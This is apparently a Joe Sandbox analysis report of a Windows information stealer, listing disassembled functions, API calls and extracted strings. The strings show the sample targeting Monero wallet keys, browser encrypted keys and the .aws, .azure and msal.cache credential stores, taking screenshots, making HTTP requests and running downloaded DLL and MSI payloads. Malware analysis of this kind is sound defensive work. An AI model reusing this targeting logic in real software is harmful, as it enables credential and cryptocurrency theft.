lstrcat.KERNEL32(?,00000000), ref: 00E9D2D4
lstrcat.KERNEL32(?,00EB1490), ref: 00E9D2E3

Part of subcall function 00EAA820: lstrlen.KERNEL32(00E94F05,?,?,00E94F05,00EB0DDE), ref: 00EAA82B
Part of subcall function 00EAA820: lstrcpy.KERNEL32(00EB0DDE,00000000), ref: 00EAA885

lstrlen.KERNEL32(?), ref: 00E9D32A
lstrlen.KERNEL32(?), ref: 00E9D339

Part of subcall function 00EAAA70: StrCmpCA.SHLWAPI(00BB8B58,00E9A7A7,?,00E9A7A7,00BB8B58), ref: 00EAAA8F

DeleteFileA.KERNEL32(00000000), ref: 00E9D3B4

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 62c7983da421d13cfa5a208e91c82bd627ece744bdd5207b73cbd4b6003487b6
Instruction ID: 6c830e9d6a9985e249e0b2e52e4ca6fc7a98a01fc9685541bad77c861fc55851
Opcode Fuzzy Hash: 62c7983da421d13cfa5a208e91c82bd627ece744bdd5207b73cbd4b6003487b6
Instruction Fuzzy Hash: 7BE11F72910204EBCB58EBA0DD96EEE73B8AF59301F145168F507BB091DF39BA05CB61

Function 00E9C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00BBDEC8,00000000,?,00EB144C,00000000,?,?), ref: 00E9CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00E9CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00E9CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E9CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00E9CAD9
StrStrA.SHLWAPI(?,00BBDF10,00EB0B52), ref: 00E9CAF7
StrStrA.SHLWAPI(00000000,00BBDE08), ref: 00E9CB1E
StrStrA.SHLWAPI(?,00BBE4E8,00000000,?,00EB1458,00000000,?,00000000,00000000,?,00BB8AD8,00000000,?,00EB1454,00000000,?), ref: 00E9CCA2
StrStrA.SHLWAPI(00000000,00BBE648), ref: 00E9CCB9

Part of subcall function 00E9C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00E9C871
Part of subcall function 00E9C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00E9C87C

StrStrA.SHLWAPI(?,00BBE648,00000000,?,00EB145C,00000000,?,00000000,00BB8B18), ref: 00E9CD5A
StrStrA.SHLWAPI(00000000,00BB88A8), ref: 00E9CD71

Part of subcall function 00E9C820: lstrcat.KERNEL32(?,00EB0B46), ref: 00E9C943
Part of subcall function 00E9C820: lstrcat.KERNEL32(?,00EB0B47), ref: 00E9C957
Part of subcall function 00E9C820: lstrcat.KERNEL32(?,00EB0B4E), ref: 00E9C978

lstrlen.KERNEL32(00000000), ref: 00E9CE44
CloseHandle.KERNEL32(00000000), ref: 00E9CE9C

Strings

, xrefs: 00E9C9C6

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 70f6d5cfe53ab015d184f8a60b7d619dcfab6458f22f8bf1a25962cdaa8c68cd
Instruction ID: cfa663511143aae0db7ec8e37ce39eb503b77e1555b960cb145fd3661109f589
Opcode Fuzzy Hash: 70f6d5cfe53ab015d184f8a60b7d619dcfab6458f22f8bf1a25962cdaa8c68cd
Instruction Fuzzy Hash: 6BE14F72900208ABCB58EBA0DC95FEEB7B8AF59300F455169F5077B091DF347A4ACB61

Function 00EA8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

RegOpenKeyExA.ADVAPI32(00000000,00BBBC50,00000000,00020019,00000000,00EB05B6), ref: 00EA83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00EA8426
wsprintfA.USER32 ref: 00EA8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00EA847B
RegCloseKey.ADVAPI32(00000000), ref: 00EA848C
RegCloseKey.ADVAPI32(00000000), ref: 00EA8499

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

Strings

%s\%s, xrefs: 00EA844D
?, xrefs: 00EA837A
- , xrefs: 00EA85A3

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 32b64345bb0c1fd5161e67200d2cd75752a3c8b1f9705c9f797cae6016abbb78
Instruction ID: 139cbea33df696cff62d513b12b65c5b63234133c1e499baf8e614dfc433f7e1
Opcode Fuzzy Hash: 32b64345bb0c1fd5161e67200d2cd75752a3c8b1f9705c9f797cae6016abbb78
Instruction Fuzzy Hash: 48811C71911218DBEB68DF50CD95FEA77B8BF48700F009299E50AAA140DF757B85CF90

Function 00EA4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00EA4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00EA4DCD

Part of subcall function 00EA4910: wsprintfA.USER32 ref: 00EA492C
Part of subcall function 00EA4910: FindFirstFileA.KERNEL32(?,?), ref: 00EA4943

lstrcat.KERNEL32(?,00000000), ref: 00EA4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00EA4E59

Part of subcall function 00EA4910: StrCmpCA.SHLWAPI(?,00EB0FDC), ref: 00EA4971
Part of subcall function 00EA4910: StrCmpCA.SHLWAPI(?,00EB0FE0), ref: 00EA4987
Part of subcall function 00EA4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00EA4B7D
Part of subcall function 00EA4910: FindClose.KERNEL32(000000FF), ref: 00EA4B92

lstrcat.KERNEL32(?,00000000), ref: 00EA4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00EA4EE5

Part of subcall function 00EA4910: wsprintfA.USER32 ref: 00EA49B0
Part of subcall function 00EA4910: StrCmpCA.SHLWAPI(?,00EB08D2), ref: 00EA49C5
Part of subcall function 00EA4910: wsprintfA.USER32 ref: 00EA49E2
Part of subcall function 00EA4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00EA4A1E
Part of subcall function 00EA4910: lstrcat.KERNEL32(?,00BBFBA0), ref: 00EA4A4A
Part of subcall function 00EA4910: lstrcat.KERNEL32(?,00EB0FF8), ref: 00EA4A5C
Part of subcall function 00EA4910: lstrcat.KERNEL32(?,?), ref: 00EA4A70
Part of subcall function 00EA4910: lstrcat.KERNEL32(?,00EB0FFC), ref: 00EA4A82
Part of subcall function 00EA4910: lstrcat.KERNEL32(?,?), ref: 00EA4A96
Part of subcall function 00EA4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00EA4AAC
Part of subcall function 00EA4910: DeleteFileA.KERNEL32(?), ref: 00EA4B31

Strings

Azure\.azure, xrefs: 00EA4DD3
Azure\.IdentityService, xrefs: 00EA4EEB
Azure\.aws, xrefs: 00EA4E5F
\.azure\, xrefs: 00EA4DC1
*.*, xrefs: 00EA4DD8
msal.cache, xrefs: 00EA4EF0
\.IdentityService\, xrefs: 00EA4ED9
\.aws\, xrefs: 00EA4E4D
*.*, xrefs: 00EA4E64

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 6534b1b3c12c2ac09ff5dcc27dd8164927d5c55d4e35af9fd8ab11f3d5bf8f51
Instruction ID: 8f694e8d47dea86087c9034a1010e361ecc6de81e1738a035318ffdd3a769b8d
Opcode Fuzzy Hash: 6534b1b3c12c2ac09ff5dcc27dd8164927d5c55d4e35af9fd8ab11f3d5bf8f51
Instruction Fuzzy Hash: 534194BAA4030867CB64F760EC57FEE3378AB65700F405894B585760C1EEB567C9CB92

Function 00EA9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00EA906C

Strings

image/jpeg, xrefs: 00EA9136

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 445d9058713dfd5f3ef362ec6a54d06fe0eaa80494b06d793f2c9d6b839bb11e
Instruction ID: 300ca566efd0ae643afc2c99a1398fc034b57c43970d9829f89da50506f36603
Opcode Fuzzy Hash: 445d9058713dfd5f3ef362ec6a54d06fe0eaa80494b06d793f2c9d6b839bb11e
Instruction Fuzzy Hash: FE71DF75A10208EBDB14DFE4D989FEEB7B9BF4C700F108508F955AB284DB79A905CB60

Function 00EA2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

ShellExecuteEx.SHELL32(0000003C), ref: 00EA31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00EA335D
ShellExecuteEx.SHELL32(0000003C), ref: 00EA34EA

Strings

"" , xrefs: 00EA309A
C:\Windows\system32\msiexec.exe, xrefs: 00EA34BF
/i ", xrefs: 00EA33E4
.msi, xrefs: 00EA3398
.dll, xrefs: 00EA31E5
/passive, xrefs: 00EA345B
C:\Windows\system32\rundll32.exe, xrefs: 00EA3332
<, xrefs: 00EA3490

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 92a1b0dfa8ed13b321c40c3f208561db569c592d4388f4ff894d33110698f8fc
Instruction ID: 5ab9ac8846a8c08a47990d739bc8b203d2479e2a0513e81dcd93ec3813753c48
Opcode Fuzzy Hash: 92a1b0dfa8ed13b321c40c3f208561db569c592d4388f4ff894d33110698f8fc
Instruction Fuzzy Hash: 19122F719002089ADB59EFA0DC96FEEB7B8AF59300F445169F5067A091EF343B4ACF61

Function 00EA52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

Part of subcall function 00E96280: InternetOpenA.WININET(00EB0DFE,00000001,00000000,00000000,00000000), ref: 00E962E1
Part of subcall function 00E96280: StrCmpCA.SHLWAPI(?,00BBFCF0), ref: 00E96303
Part of subcall function 00E96280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E96335
Part of subcall function 00E96280: HttpOpenRequestA.WININET(00000000,GET,?,00BBF278,00000000,00000000,00400100,00000000), ref: 00E96385
Part of subcall function 00E96280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E963BF
Part of subcall function 00E96280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E963D1

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EA5318
lstrlen.KERNEL32(00000000), ref: 00EA532F

Part of subcall function 00EA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EA8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00EA5364
lstrlen.KERNEL32(00000000), ref: 00EA5383
lstrlen.KERNEL32(00000000), ref: 00EA53AE

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Strings

ERROR, xrefs: 00EA530A
ERROR, xrefs: 00EA53B9
ERROR, xrefs: 00EA54A9
ERROR, xrefs: 00EA546F
ERROR, xrefs: 00EA5432

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: cd52197dbe0cc4e4577b49ba92b521003e6c3e86f41ace33beefca9db683a4cf
Instruction ID: 72a71025c38c6434a771e5e3beaf8cbb1a6c7cc5c85c339773bcacc94c00fb93
Opcode Fuzzy Hash: cd52197dbe0cc4e4577b49ba92b521003e6c3e86f41ace33beefca9db683a4cf
Instruction Fuzzy Hash: 3F511C319102089BCB58FF60C996AEE77B8AF1A301F555028F8077E191DF387B45CBA2

Function 00EA12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: eafd3ba3ffa53dae67d53f66851101842d85128436e8f5334b663f0a1f3f0c72
Instruction ID: c02c6826da0fd3de97278d16cb887dd7aaf3d6010eb54eea365896c6768ff544
Opcode Fuzzy Hash: eafd3ba3ffa53dae67d53f66851101842d85128436e8f5334b663f0a1f3f0c72
Instruction Fuzzy Hash: 81C1A4B5A002099BCB14EF60DC89FEA73B8BB59304F0455D8F50ABB141EB35BA85CF91

Function 00EA4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00EA42EC
lstrcat.KERNEL32(?,00BBF608), ref: 00EA430B
lstrcat.KERNEL32(?,?), ref: 00EA431F
lstrcat.KERNEL32(?,00BBDEE0), ref: 00EA4333

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EA8D90: GetFileAttributesA.KERNEL32(00000000,?,00E91B54,?,?,00EB564C,?,?,00EB0E1F), ref: 00EA8D9F

Part of subcall function 00E99CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00E99D39

Part of subcall function 00E999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E999EC
Part of subcall function 00E999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E99A11
Part of subcall function 00E999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E99A31
Part of subcall function 00E999C0: ReadFile.KERNEL32(000000FF,?,00000000,00E9148F,00000000), ref: 00E99A5A
Part of subcall function 00E999C0: LocalFree.KERNEL32(00E9148F), ref: 00E99A90
Part of subcall function 00E999C0: CloseHandle.KERNEL32(000000FF), ref: 00E99A9A

Part of subcall function 00EA93C0: GlobalAlloc.KERNEL32(00000000,00EA43DD,00EA43DD), ref: 00EA93D3

StrStrA.SHLWAPI(?,00BBF788), ref: 00EA43F3
GlobalFree.KERNEL32(?), ref: 00EA4512

Part of subcall function 00E99AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E99AEF
Part of subcall function 00E99AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00E94EEE,00000000,?), ref: 00E99B01
Part of subcall function 00E99AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E99B2A
Part of subcall function 00E99AC0: LocalFree.KERNEL32(?,?,?,?,00E94EEE,00000000,?), ref: 00E99B3F

lstrcat.KERNEL32(?,00000000), ref: 00EA44A3
StrCmpCA.SHLWAPI(?,00EB08D1), ref: 00EA44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00EA44D2
